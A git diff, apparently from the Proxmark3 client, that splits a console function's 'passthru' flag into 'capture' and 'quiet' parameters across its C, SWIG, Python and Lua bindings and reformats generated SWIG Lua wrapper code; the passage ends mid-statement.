a/client/experimental_lib/example_c/test_grab.c b/client/experimental_lib/example_c/test_grab.c index 69b2b7ebf..ee573fc31 100644 --- a/client/experimental_lib/example_c/test_grab.c +++ b/client/experimental_lib/example_c/test_grab.c @@ -18,7 +18,7 @@ int main(int argc, char *argv[]) { p = pm3_open(argv[1]); // Execute the command - pm3_console(p, "hw status", false); + pm3_console(p, "hw status", true, true); const char *buf = pm3_grabbed_output_get(p); const char *line_start = buf; diff --git a/client/experimental_lib/example_lua/test.lua b/client/experimental_lib/example_lua/test.lua index d7a165c49..03c0dc149 100755 --- a/client/experimental_lib/example_lua/test.lua +++ b/client/experimental_lib/example_lua/test.lua @@ -12,7 +12,7 @@ for line in p.grabbed_output:gmatch("[^\r\n]+") do end print("Device:", p.name) -p:console("Rem passthru remark! :coffee:", true) +p:console("Rem passthru remark! :coffee:", false, false) local json = require("dkjson") print("Fetching prefs:") diff --git a/client/experimental_lib/example_py/test.py b/client/experimental_lib/example_py/test.py index 99e104b8f..fc932b7e5 100755 --- a/client/experimental_lib/example_py/test.py +++ b/client/experimental_lib/example_py/test.py @@ -11,7 +11,7 @@ for line in p.grabbed_output.split('\n'): if "uC:" in line: print(line) print("Device:", p.name) -p.console("Rem passthru remark! :coffee:", True) +p.console("Rem passthru remark! :coffee:", capture=False, quiet=False) import json print("Fetching prefs:") diff --git a/client/include/pm3.h b/client/include/pm3.h index b19fe7174..92e99bacd 100644 --- a/client/include/pm3.h +++ b/client/include/pm3.h @@ -21,7 +21,7 @@ typedef struct pm3_device pm3; pm3 *pm3_open(const char *port); -int pm3_console(pm3 *dev, const char *cmd, bool passthru); +int pm3_console(pm3 *dev, const char *cmd, bool capture, bool quiet); const char *pm3_grabbed_output_get(pm3 *dev); const char *pm3_name_get(pm3 *dev); void pm3_close(pm3 *dev); diff --git a/client/pyscripts/fm11rf08s_recovery.py b/client/pyscripts/fm11rf08s_recovery.py index 71f785111..1803ea1c1 100755 --- a/client/pyscripts/fm11rf08s_recovery.py +++ b/client/pyscripts/fm11rf08s_recovery.py @@ -538,7 +538,7 @@ if args.final_check: cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump" if args.debug: print(cmd) - p.console(cmd, passthru=True) + p.console(cmd, capture=False, quiet=False) else: print() print(plus + color("found keys:", fg="green")) diff --git a/client/pyscripts/pm3.py b/client/pyscripts/pm3.py index ead49777a..26e90a774 100644 --- a/client/pyscripts/pm3.py +++ b/client/pyscripts/pm3.py @@ -66,8 +66,8 @@ class pm3(object): _pm3.pm3_swiginit(self, _pm3.new_pm3(*args)) __swig_destroy__ = _pm3.delete_pm3 - def console(self, cmd, passthru=False): - return _pm3.pm3_console(self, cmd, passthru) + def console(self, cmd, capture=True, quiet=True): + return _pm3.pm3_console(self, cmd, capture, quiet) name = property(_pm3.pm3_name_get) grabbed_output = property(_pm3.pm3_grabbed_output_get) diff --git a/client/src/pm3.c b/client/src/pm3.c index 600fd07ca..ff08c8b94 100644 --- a/client/src/pm3.c +++ b/client/src/pm3.c @@ -58,12 +58,14 @@ void pm3_close(pm3_device_t *dev) { free_grabber(); } -int pm3_console(pm3_device_t *dev, const char *cmd, bool passthru) { +int pm3_console(pm3_device_t *dev, const char *cmd, bool capture, bool quiet) { // For now, there is no real device context: (void) dev; uint8_t prev_printAndLog = g_printAndLog; - if (! passthru) { + if (capture) { g_printAndLog |= PRINTANDLOG_GRAB; + } + if (quiet) { g_printAndLog &= ~PRINTANDLOG_PRINT; } int ret = CommandReceived(cmd); diff --git a/client/src/pm3.i b/client/src/pm3.i index 810f5eb22..f7923323c 100644 --- a/client/src/pm3.i +++ b/client/src/pm3.i @@ -11,8 +11,11 @@ #ifdef PYWRAP #include - %typemap(default) bool passthru { - $1 = Py_False; + %typemap(default) bool capture { + $1 = Py_True; + } + %typemap(default) bool quiet { + $1 = Py_True; } #endif typedef struct { @@ -37,7 +40,7 @@ typedef struct { pm3_close($self); } } - int console(char *cmd, bool passthru = false); + int console(char *cmd, bool capture = true, bool quiet = true); char const * const name; char const * const grabbed_output; } diff --git a/client/src/pm3_luawrap.c b/client/src/pm3_luawrap.c index c880d09fd..87dec2a1e 100644 --- a/client/src/pm3_luawrap.c +++ b/client/src/pm3_luawrap.c @@ -140,7 +140,7 @@ # define SWIG_NULLPTR nullptr #else # define SWIG_NULLPTR NULL -#endif +#endif /* ----------------------------------------------------------------------------- * swigcompat.swg @@ -339,10 +339,10 @@ # define SWIG_CASTRANKMASK ((SWIG_CASTRANKLIMIT) -1) # define SWIG_CastRank(r) (r & SWIG_CASTRANKMASK) SWIGINTERNINLINE int SWIG_AddCast(int r) { - return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r; + return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r; } SWIGINTERNINLINE int SWIG_CheckState(int r) { - return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; + return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; } #else /* no cast-rank mode */ # define SWIG_AddCast(r) (r) @@ -361,32 +361,32 @@ typedef struct swig_type_info *(*swig_dycast_func)(void **); /* Structure to store information on one type */ typedef struct swig_type_info { - const char *name; /* mangled name of this type */ - const char *str; /* human readable name of this type */ - swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ - struct swig_cast_info *cast; /* linked list of types that can cast into this type */ - void *clientdata; /* language specific type data */ - int owndata; /* flag if the structure owns the clientdata */ + const char *name; /* mangled name of this type */ + const char *str; /* human readable name of this type */ + swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ + struct swig_cast_info *cast; /* linked list of types that can cast into this type */ + void *clientdata; /* language specific type data */ + int owndata; /* flag if the structure owns the clientdata */ } swig_type_info; /* Structure to store a type and conversion function used for casting */ typedef struct swig_cast_info { - swig_type_info *type; /* pointer to type that is equivalent to this type */ - swig_converter_func converter; /* function to cast the void pointers */ - struct swig_cast_info *next; /* pointer to next cast in linked list */ - struct swig_cast_info *prev; /* pointer to the previous cast */ + swig_type_info *type; /* pointer to type that is equivalent to this type */ + swig_converter_func converter; /* function to cast the void pointers */ + struct swig_cast_info *next; /* pointer to next cast in linked list */ + struct swig_cast_info *prev; /* pointer to the previous cast */ } swig_cast_info; /* Structure used to store module information * Each module generates one structure like this, and the runtime collects * all of these structures and stores them in a circularly linked list.*/ typedef struct swig_module_info { - swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ - size_t size; /* Number of types in this module */ - struct swig_module_info *next; /* Pointer to next element in circularly linked list */ - swig_type_info **type_initial; /* Array of initially generated type structures */ - swig_cast_info **cast_initial; /* Array of initially generated casting structures */ - void *clientdata; /* Language specific module data */ + swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ + size_t size; /* Number of types in this module */ + struct swig_module_info *next; /* Pointer to next element in circularly linked list */ + swig_type_info **type_initial; /* Array of initially generated type structures */ + swig_cast_info **cast_initial; /* Array of initially generated casting structures */ + void *clientdata; /* Language specific module data */ } swig_module_info; /* @@ -398,13 +398,13 @@ typedef struct swig_module_info { */ SWIGRUNTIME int SWIG_TypeNameComp(const char *f1, const char *l1, - const char *f2, const char *l2) { - for (; (f1 != l1) && (f2 != l2); ++f1, ++f2) { - while ((*f1 == ' ') && (f1 != l1)) ++f1; - while ((*f2 == ' ') && (f2 != l2)) ++f2; - if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1; - } - return (int)((l1 - f1) - (l2 - f2)); + const char *f2, const char *l2) { + for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) { + while ((*f1 == ' ') && (f1 != l1)) ++f1; + while ((*f2 == ' ') && (f2 != l2)) ++f2; + if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1; + } + return (int)((l1 - f1) - (l2 - f2)); } /* @@ -413,17 +413,17 @@ SWIG_TypeNameComp(const char *f1, const char *l1, */ SWIGRUNTIME int SWIG_TypeCmp(const char *nb, const char *tb) { - int equiv = 1; - const char *te = tb + strlen(tb); - const char *ne = nb; - while (equiv != 0 && *ne) { - for (nb = ne; *ne; ++ne) { - if (*ne == '|') break; - } - equiv = SWIG_TypeNameComp(nb, ne, tb, te); - if (*ne) ++ne; + int equiv = 1; + const char* te = tb + strlen(tb); + const char* ne = nb; + while (equiv != 0 && *ne) { + for (nb = ne; *ne; ++ne) { + if (*ne == '|') break; } - return equiv; + equiv = SWIG_TypeNameComp(nb, ne, tb, te); + if (*ne) ++ne; + } + return equiv; } /* @@ -432,7 +432,7 @@ SWIG_TypeCmp(const char *nb, const char *tb) { */ SWIGRUNTIME int SWIG_TypeEquiv(const char *nb, const char *tb) { - return SWIG_TypeCmp(nb, tb) == 0 ? 1 : 0; + return SWIG_TypeCmp(nb, tb) == 0 ? 1 : 0; } /* @@ -440,26 +440,26 @@ SWIG_TypeEquiv(const char *nb, const char *tb) { */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheck(const char *c, swig_type_info *ty) { - if (ty) { - swig_cast_info *iter = ty->cast; - while (iter) { - if (strcmp(iter->type->name, c) == 0) { - if (iter == ty->cast) - return iter; - /* Move iter to the top of the linked list */ - iter->prev->next = iter->next; - if (iter->next) - iter->next->prev = iter->prev; - iter->next = ty->cast; - iter->prev = 0; - if (ty->cast) ty->cast->prev = iter; - ty->cast = iter; - return iter; - } - iter = iter->next; - } + if (ty) { + swig_cast_info *iter = ty->cast; + while (iter) { + if (strcmp(iter->type->name, c) == 0) { + if (iter == ty->cast) + return iter; + /* Move iter to the top of the linked list */ + iter->prev->next = iter->next; + if (iter->next) + iter->next->prev = iter->prev; + iter->next = ty->cast; + iter->prev = 0; + if (ty->cast) ty->cast->prev = iter; + ty->cast = iter; + return iter; + } + iter = iter->next; } - return 0; + } + return 0; } /* @@ -467,26 +467,26 @@ SWIG_TypeCheck(const char *c, swig_type_info *ty) { */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheckStruct(const swig_type_info *from, swig_type_info *ty) { - if (ty) { - swig_cast_info *iter = ty->cast; - while (iter) { - if (iter->type == from) { - if (iter == ty->cast) - return iter; - /* Move iter to the top of the linked list */ - iter->prev->next = iter->next; - if (iter->next) - iter->next->prev = iter->prev; - iter->next = ty->cast; - iter->prev = 0; - if (ty->cast) ty->cast->prev = iter; - ty->cast = iter; - return iter; - } - iter = iter->next; - } + if (ty) { + swig_cast_info *iter = ty->cast; + while (iter) { + if (iter->type == from) { + if (iter == ty->cast) + return iter; + /* Move iter to the top of the linked list */ + iter->prev->next = iter->next; + if (iter->next) + iter->next->prev = iter->prev; + iter->next = ty->cast; + iter->prev = 0; + if (ty->cast) ty->cast->prev = iter; + ty->cast = iter; + return iter; + } + iter = iter->next; } - return 0; + } + return 0; } /* @@ -494,7 +494,7 @@ SWIG_TypeCheckStruct(const swig_type_info *from, swig_type_info *ty) { */ SWIGRUNTIMEINLINE void * SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) { - return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory); + return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory); } /* @@ -502,13 +502,13 @@ SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) { */ SWIGRUNTIME swig_type_info * SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) { - swig_type_info *lastty = ty; - if (!ty || !ty->dcast) return ty; - while (ty && (ty->dcast)) { - ty = (*ty->dcast)(ptr); - if (ty) lastty = ty; - } - return lastty; + swig_type_info *lastty = ty; + if (!ty || !ty->dcast) return ty; + while (ty && (ty->dcast)) { + ty = (*ty->dcast)(ptr); + if (ty) lastty = ty; + } + return lastty; } /* @@ -516,7 +516,7 @@ SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) { */ SWIGRUNTIMEINLINE const char * SWIG_TypeName(const swig_type_info *ty) { - return ty->name; + return ty->name; } /* @@ -525,19 +525,20 @@ SWIG_TypeName(const swig_type_info *ty) { */ SWIGRUNTIME const char * SWIG_TypePrettyName(const swig_type_info *type) { - /* The "str" field contains the equivalent pretty names of the - type, separated by vertical-bar characters. Choose the last - name. It should be the most specific; a fully resolved name - but not necessarily with default template parameters expanded. */ - if (!type) return NULL; - if (type->str != NULL) { - const char *last_name = type->str; - const char *s; - for (s = type->str; *s; s++) - if (*s == '|') last_name = s + 1; - return last_name; - } else - return type->name; + /* The "str" field contains the equivalent pretty names of the + type, separated by vertical-bar characters. Choose the last + name. It should be the most specific; a fully resolved name + but not necessarily with default template parameters expanded. */ + if (!type) return NULL; + if (type->str != NULL) { + const char *last_name = type->str; + const char *s; + for (s = type->str; *s; s++) + if (*s == '|') last_name = s+1; + return last_name; + } + else + return type->name; } /* @@ -545,24 +546,24 @@ SWIG_TypePrettyName(const swig_type_info *type) { */ SWIGRUNTIME void SWIG_TypeClientData(swig_type_info *ti, void *clientdata) { - swig_cast_info *cast = ti->cast; - /* if (ti->clientdata == clientdata) return; */ - ti->clientdata = clientdata; + swig_cast_info *cast = ti->cast; + /* if (ti->clientdata == clientdata) return; */ + ti->clientdata = clientdata; - while (cast) { - if (!cast->converter) { - swig_type_info *tc = cast->type; - if (!tc->clientdata) { - SWIG_TypeClientData(tc, clientdata); - } - } - cast = cast->next; + while (cast) { + if (!cast->converter) { + swig_type_info *tc = cast->type; + if (!tc->clientdata) { + SWIG_TypeClientData(tc, clientdata); + } } + cast = cast->next; + } } SWIGRUNTIME void SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) { - SWIG_TypeClientData(ti, clientdata); - ti->owndata = 1; + SWIG_TypeClientData(ti, clientdata); + ti->owndata = 1; } /* @@ -576,37 +577,37 @@ SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) { SWIGRUNTIME swig_type_info * SWIG_MangledTypeQueryModule(swig_module_info *start, swig_module_info *end, - const char *name) { - swig_module_info *iter = start; - do { - if (iter->size) { - size_t l = 0; - size_t r = iter->size - 1; - do { - /* since l+r >= 0, we can (>> 1) instead (/ 2) */ - size_t i = (l + r) >> 1; - const char *iname = iter->types[i]->name; - if (iname) { - int compare = strcmp(name, iname); - if (compare == 0) { - return iter->types[i]; - } else if (compare < 0) { - if (i) { - r = i - 1; - } else { - break; - } - } else if (compare > 0) { - l = i + 1; - } - } else { - break; /* should never happen */ - } - } while (l <= r); - } - iter = iter->next; - } while (iter != end); - return 0; + const char *name) { + swig_module_info *iter = start; + do { + if (iter->size) { + size_t l = 0; + size_t r = iter->size - 1; + do { + /* since l+r >= 0, we can (>> 1) instead (/ 2) */ + size_t i = (l + r) >> 1; + const char *iname = iter->types[i]->name; + if (iname) { + int compare = strcmp(name, iname); + if (compare == 0) { + return iter->types[i]; + } else if (compare < 0) { + if (i) { + r = i - 1; + } else { + break; + } + } else if (compare > 0) { + l = i + 1; + } + } else { + break; /* should never happen */ + } + } while (l <= r); + } + iter = iter->next; + } while (iter != end); + return 0; } /* @@ -621,27 +622,27 @@ SWIG_MangledTypeQueryModule(swig_module_info *start, SWIGRUNTIME swig_type_info * SWIG_TypeQueryModule(swig_module_info *start, swig_module_info *end, - const char *name) { - /* STEP 1: Search the name field using binary search */ - swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name); - if (ret) { - return ret; - } else { - /* STEP 2: If the type hasn't been found, do a complete search - of the str field (the human readable name) */ - swig_module_info *iter = start; - do { - size_t i = 0; - for (; i < iter->size; ++i) { - if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name))) - return iter->types[i]; - } - iter = iter->next; - } while (iter != end); - } + const char *name) { + /* STEP 1: Search the name field using binary search */ + swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name); + if (ret) { + return ret; + } else { + /* STEP 2: If the type hasn't been found, do a complete search + of the str field (the human readable name) */ + swig_module_info *iter = start; + do { + size_t i = 0; + for (; i < iter->size; ++i) { + if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name))) + return iter->types[i]; + } + iter = iter->next; + } while (iter != end); + } - /* neither found a match */ - return 0; + /* neither found a match */ + return 0; } /* @@ -649,15 +650,15 @@ SWIG_TypeQueryModule(swig_module_info *start, */ SWIGRUNTIME char * SWIG_PackData(char *c, void *ptr, size_t sz) { - static const char hex[17] = "0123456789abcdef"; - const unsigned char *u = (unsigned char *) ptr; - const unsigned char *eu = u + sz; - for (; u != eu; ++u) { - unsigned char uu = *u; - *(c++) = hex[(uu & 0xf0) >> 4]; - *(c++) = hex[uu & 0xf]; - } - return c; + static const char hex[17] = "0123456789abcdef"; + const unsigned char *u = (unsigned char *) ptr; + const unsigned char *eu = u + sz; + for (; u != eu; ++u) { + unsigned char uu = *u; + *(c++) = hex[(uu & 0xf0) >> 4]; + *(c++) = hex[uu & 0xf]; + } + return c; } /* @@ -665,27 +666,27 @@ SWIG_PackData(char *c, void *ptr, size_t sz) { */ SWIGRUNTIME const char * SWIG_UnpackData(const char *c, void *ptr, size_t sz) { - unsigned char *u = (unsigned char *) ptr; - const unsigned char *eu = u + sz; - for (; u != eu; ++u) { - char d = *(c++); - unsigned char uu; - if ((d >= '0') && (d <= '9')) - uu = (unsigned char)((d - '0') << 4); - else if ((d >= 'a') && (d <= 'f')) - uu = (unsigned char)((d - ('a' - 10)) << 4); - else - return (char *) 0; - d = *(c++); - if ((d >= '0') && (d <= '9')) - uu |= (unsigned char)(d - '0'); - else if ((d >= 'a') && (d <= 'f')) - uu |= (unsigned char)(d - ('a' - 10)); - else - return (char *) 0; - *u = uu; - } - return c; + unsigned char *u = (unsigned char *) ptr; + const unsigned char *eu = u + sz; + for (; u != eu; ++u) { + char d = *(c++); + unsigned char uu; + if ((d >= '0') && (d <= '9')) + uu = (unsigned char)((d - '0') << 4); + else if ((d >= 'a') && (d <= 'f')) + uu = (unsigned char)((d - ('a'-10)) << 4); + else + return (char *) 0; + d = *(c++); + if ((d >= '0') && (d <= '9')) + uu |= (unsigned char)(d - '0'); + else if ((d >= 'a') && (d <= 'f')) + uu |= (unsigned char)(d - ('a'-10)); + else + return (char *) 0; + *u = uu; + } + return c; } /* @@ -693,54 +694,54 @@ SWIG_UnpackData(const char *c, void *ptr, size_t sz) { */ SWIGRUNTIME char * SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) { - char *r = buff; - if ((2 * sizeof(void *) + 2) > bsz) return 0; - *(r++) = '_'; - r = SWIG_PackData(r, &ptr, sizeof(void *)); - if (strlen(name) + 1 > (bsz - (r - buff))) return 0; - strcpy(r, name); - return buff; + char *r = buff; + if ((2*sizeof(void *) + 2) > bsz) return 0; + *(r++) = '_'; + r = SWIG_PackData(r,&ptr,sizeof(void *)); + if (strlen(name) + 1 > (bsz - (r - buff))) return 0; + strcpy(r,name); + return buff; } SWIGRUNTIME const char * SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) { - if (*c != '_') { - if (strcmp(c, "NULL") == 0) { - *ptr = (void *) 0; - return name; - } else { - return 0; - } + if (*c != '_') { + if (strcmp(c,"NULL") == 0) { + *ptr = (void *) 0; + return name; + } else { + return 0; } - return SWIG_UnpackData(++c, ptr, sizeof(void *)); + } + return SWIG_UnpackData(++c,ptr,sizeof(void *)); } SWIGRUNTIME char * SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) { - char *r = buff; - size_t lname = (name ? strlen(name) : 0); - if ((2 * sz + 2 + lname) > bsz) return 0; - *(r++) = '_'; - r = SWIG_PackData(r, ptr, sz); - if (lname) { - strncpy(r, name, lname + 1); - } else { - *r = 0; - } - return buff; + char *r = buff; + size_t lname = (name ? strlen(name) : 0); + if ((2*sz + 2 + lname) > bsz) return 0; + *(r++) = '_'; + r = SWIG_PackData(r,ptr,sz); + if (lname) { + strncpy(r,name,lname+1); + } else { + *r = 0; + } + return buff; } SWIGRUNTIME const char * SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) { - if (*c != '_') { - if (strcmp(c, "NULL") == 0) { - memset(ptr, 0, sz); - return name; - } else { - return 0; - } + if (*c != '_') { + if (strcmp(c,"NULL") == 0) { + memset(ptr,0,sz); + return name; + } else { + return 0; } - return SWIG_UnpackData(++c, ptr, sz); + } + return SWIG_UnpackData(++c,ptr,sz); } #ifdef __cplusplus @@ -797,32 +798,32 @@ extern "C" { struct swig_elua_entry; typedef struct swig_elua_key { - int type; - union { - const char *strkey; - lua_Number numkey; - } key; + int type; + union { + const char* strkey; + lua_Number numkey; + } key; } swig_elua_key; typedef struct swig_elua_val { - int type; - union { - lua_Number number; - const struct swig_elua_entry *table; - const char *string; - lua_CFunction function; - struct { - char member; - long lvalue; - void *pvalue; - swig_type_info **ptype; - } userdata; - } value; + int type; + union { + lua_Number number; + const struct swig_elua_entry *table; + const char *string; + lua_CFunction function; + struct { + char member; + long lvalue; + void *pvalue; + swig_type_info **ptype; + } userdata; + } value; } swig_elua_val; typedef struct swig_elua_entry { - swig_elua_key key; - swig_elua_val value; + swig_elua_key key; + swig_elua_val value; } swig_elua_entry; #define LSTRKEY(x) {LUA_TSTRING, {.strkey = x} } @@ -856,7 +857,7 @@ typedef struct swig_elua_entry { # define SWIG_LUA_CONSTTAB_FLOAT(B, C) LSTRKEY(B), LNUMVAL(C) # define SWIG_LUA_CONSTTAB_STRING(B, C) LSTRKEY(B), LSTRVAL(C) # define SWIG_LUA_CONSTTAB_CHAR(B, C) LSTRKEY(B), LNUMVAL(C) -/* Those two types of constants are not supported in elua */ + /* Those two types of constants are not supported in elua */ #ifndef SWIG_LUA_CONSTTAB_POINTER #warning eLua does not support pointers as constants. By default, nil will be used as value @@ -920,11 +921,11 @@ typedef struct swig_elua_entry { we provide a compatibility implementation for Lua 5.0. */ #if !defined(LUA_VERSION_NUM) || LUA_VERSION_NUM < 501 static const char *(lua_tolstring)(lua_State *L, int idx, size_t *len) { - /* Call lua_tostring() first as it may convert the value from number to - string. */ - const char *result = lua_tostring(L, idx); - if (len) *len = lua_strlen(L, idx); - return result; + /* Call lua_tostring() first as it may convert the value from number to + string. */ + const char *result = lua_tostring(L, idx); + if (len) *len = lua_strlen(L, idx); + return result; } #endif @@ -962,23 +963,25 @@ static const char *(lua_tolstring)(lua_State *L, int idx, size_t *len) { prefixed with the location of the innermost Lua call-point (as formatted by luaL_where). */ SWIGRUNTIME void -SWIG_Lua_pusherrstring(lua_State *L, const char *str) { - luaL_where(L, 1); - lua_pushstring(L, str); - lua_concat(L, 2); +SWIG_Lua_pusherrstring (lua_State *L, const char *str) +{ + luaL_where (L, 1); + lua_pushstring (L, str); + lua_concat (L, 2); } /* Push a formatted string generated from FMT and following args on the Lua stack, like lua_pushfstring, but prefixed with the location of the innermost Lua call-point (as formatted by luaL_where). */ SWIGRUNTIME void -SWIG_Lua_pushferrstring(lua_State *L, const char *fmt, ...) { - va_list argp; - va_start(argp, fmt); - luaL_where(L, 1); - lua_pushvfstring(L, fmt, argp); - va_end(argp); - lua_concat(L, 2); +SWIG_Lua_pushferrstring (lua_State *L, const char *fmt, ...) +{ + va_list argp; + va_start(argp, fmt); + luaL_where(L, 1); + lua_pushvfstring(L, fmt, argp); + va_end(argp); + lua_concat(L, 2); } @@ -995,9 +998,9 @@ SWIG_Lua_pushferrstring(lua_State *L, const char *fmt, ...) { /* Structure for variable linking table */ typedef struct { - const char *name; - lua_CFunction get; - lua_CFunction set; + const char *name; + lua_CFunction get; + lua_CFunction set; } swig_lua_var_info; #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUA) || (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUAC) @@ -1019,43 +1022,43 @@ typedef struct { #endif typedef struct { - const char *name; - lua_CFunction getmethod; - lua_CFunction setmethod; + const char *name; + lua_CFunction getmethod; + lua_CFunction setmethod; } swig_lua_attribute; struct swig_lua_class; /* Can be used to create namespaces. Currently used to wrap class static methods/variables/constants */ typedef struct swig_lua_namespace { - const char *name; - swig_lua_method *ns_methods; - swig_lua_attribute *ns_attributes; - swig_lua_const_info *ns_constants; - struct swig_lua_class **ns_classes; - struct swig_lua_namespace **ns_namespaces; + const char *name; + swig_lua_method *ns_methods; + swig_lua_attribute *ns_attributes; + swig_lua_const_info *ns_constants; + struct swig_lua_class **ns_classes; + struct swig_lua_namespace **ns_namespaces; } swig_lua_namespace; typedef struct swig_lua_class { - const char *name; /* Name that this class has in Lua */ - const char *fqname; /* Fully qualified name - Scope + class name */ - swig_type_info **type; - lua_CFunction constructor; - void (*destructor)(void *); - swig_lua_method *methods; - swig_lua_attribute *attributes; - swig_lua_namespace *cls_static; - swig_lua_method *metatable; /* 0 for -eluac */ - struct swig_lua_class **bases; - const char **base_names; + const char *name; /* Name that this class has in Lua */ + const char *fqname; /* Fully qualified name - Scope + class name */ + swig_type_info **type; + lua_CFunction constructor; + void (*destructor)(void *); + swig_lua_method *methods; + swig_lua_attribute *attributes; + swig_lua_namespace *cls_static; + swig_lua_method *metatable; /* 0 for -eluac */ + struct swig_lua_class **bases; + const char **base_names; } swig_lua_class; /* this is the struct for wrapping all pointers in SwigLua */ typedef struct { - swig_type_info *type; - int own; /* 1 if owned & must be destroyed */ - void *ptr; + swig_type_info *type; + int own; /* 1 if owned & must be destroyed */ + void *ptr; } swig_lua_userdata; /* this is the struct for wrapping arbitrary packed binary data @@ -1064,9 +1067,9 @@ the data ordering is similar to swig_lua_userdata, but it is currently not possi to tell the two structures apart within SWIG, other than by looking at the type */ typedef struct { - swig_type_info *type; - int own; /* 1 if owned & must be destroyed */ - char data[1]; /* arbitrary amount of data */ + swig_type_info *type; + int own; /* 1 if owned & must be destroyed */ + char data[1]; /* arbitrary amount of data */ } swig_lua_rawdata; /* Common SWIG API */ @@ -1126,21 +1129,21 @@ it gets the address, casts it, then dereferences it */ /* storing/access of swig_module_info */ SWIGRUNTIME swig_module_info * SWIG_Lua_GetModule(lua_State *L) { - swig_module_info *ret = 0; - lua_pushstring(L, "swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME); - lua_rawget(L, LUA_REGISTRYINDEX); - if (lua_islightuserdata(L, -1)) - ret = (swig_module_info *)lua_touserdata(L, -1); - lua_pop(L, 1); /* tidy */ - return ret; + swig_module_info *ret = 0; + lua_pushstring(L,"swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME); + lua_rawget(L,LUA_REGISTRYINDEX); + if (lua_islightuserdata(L,-1)) + ret=(swig_module_info*)lua_touserdata(L,-1); + lua_pop(L,1); /* tidy */ + return ret; } SWIGRUNTIME void SWIG_Lua_SetModule(lua_State *L, swig_module_info *module) { - /* add this all into the Lua registry: */ - lua_pushstring(L, "swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME); - lua_pushlightuserdata(L, (void *)module); - lua_rawset(L, LUA_REGISTRYINDEX); + /* add this all into the Lua registry: */ + lua_pushstring(L,"swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME); + lua_pushlightuserdata(L,(void*)module); + lua_rawset(L,LUA_REGISTRYINDEX); } /* ----------------------------------------------------------------------------- @@ -1150,147 +1153,153 @@ SWIG_Lua_SetModule(lua_State *L, swig_module_info *module) { /* this function is called when trying to set an immutable. default action is to print an error. This can removed with a compile flag SWIGLUA_IGNORE_SET_IMMUTABLE */ -SWIGINTERN int SWIG_Lua_set_immutable(lua_State *L) { - /* there should be 1 param passed in: the new value */ +SWIGINTERN int SWIG_Lua_set_immutable(lua_State *L) +{ +/* there should be 1 param passed in: the new value */ #ifndef SWIGLUA_IGNORE_SET_IMMUTABLE - lua_pop(L, 1); /* remove it */ - luaL_error(L, "This variable is immutable"); + lua_pop(L,1); /* remove it */ + luaL_error(L,"This variable is immutable"); #endif return 0; /* should not return anything */ } #ifdef SWIG_LUA_ELUA_EMULATE -SWIGRUNTIME void SWIG_Lua_NewPointerObj(lua_State *L, void *ptr, swig_type_info *type, int own); -SWIGRUNTIME void SWIG_Lua_NewPackedObj(lua_State *L, void *ptr, size_t size, swig_type_info *type); +SWIGRUNTIME void SWIG_Lua_NewPointerObj(lua_State *L,void *ptr,swig_type_info *type, int own); +SWIGRUNTIME void SWIG_Lua_NewPackedObj(lua_State *L,void *ptr,size_t size,swig_type_info *type); static int swig_lua_elua_emulate_unique_key; /* This function emulates eLua rotables behaviour. It loads a rotable definition into the usual lua table. */ -SWIGINTERN void SWIG_Lua_elua_emulate_register(lua_State *L, const swig_elua_entry *table) { - int i, table_parsed, parsed_tables_array, target_table; - assert(lua_istable(L, -1)); - target_table = lua_gettop(L); - /* Get the registry where we put all parsed tables to avoid loops */ - lua_rawgetp(L, LUA_REGISTRYINDEX, &swig_lua_elua_emulate_unique_key); - if (lua_isnil(L, -1)) { - lua_pop(L, 1); - lua_newtable(L); - lua_pushvalue(L, -1); - lua_rawsetp(L, LUA_REGISTRYINDEX, (void *)(&swig_lua_elua_emulate_unique_key)); +SWIGINTERN void SWIG_Lua_elua_emulate_register(lua_State *L, const swig_elua_entry *table) +{ + int i, table_parsed, parsed_tables_array, target_table; + assert(lua_istable(L,-1)); + target_table = lua_gettop(L); + /* Get the registry where we put all parsed tables to avoid loops */ + lua_rawgetp(L, LUA_REGISTRYINDEX, &swig_lua_elua_emulate_unique_key); + if(lua_isnil(L,-1)) { + lua_pop(L,1); + lua_newtable(L); + lua_pushvalue(L,-1); + lua_rawsetp(L,LUA_REGISTRYINDEX,(void*)(&swig_lua_elua_emulate_unique_key)); + } + parsed_tables_array = lua_gettop(L); + lua_pushvalue(L,target_table); + lua_rawsetp(L, parsed_tables_array, table); + table_parsed = 0; + const int 